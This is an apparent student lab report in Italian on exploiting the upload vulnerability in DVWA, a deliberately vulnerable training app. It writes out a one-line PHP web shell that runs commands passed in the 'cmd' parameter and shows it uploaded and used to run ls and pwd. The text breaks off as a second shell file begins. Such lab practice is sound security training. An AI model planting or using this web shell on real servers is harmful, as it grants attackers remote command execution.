Report Vulnerability Upload DVWA

-Creo un file php con il seguente codice

```
(kali@kali)-[~/Desktop]
$ cat shell.php
<?php system($_REQUEST["cmd"]); ?>
```

-Carico il file nella sezione upload e copio il percorso che viene generato e lo copio nell'url andando a richiamare poi il comando cmd=ls e successivamente cmd=pwd con questi risultati.

dvwa_email.png rete.save shell.php

Come altra prova sono andato a cercare un' altro codice che mi restituirà i permessi,il nome dei file o directory,il "propietario", la grandezza in bytes e la data dell'ultima modifica.

```
GNU nano 6.4 shell2.php

shell2.php
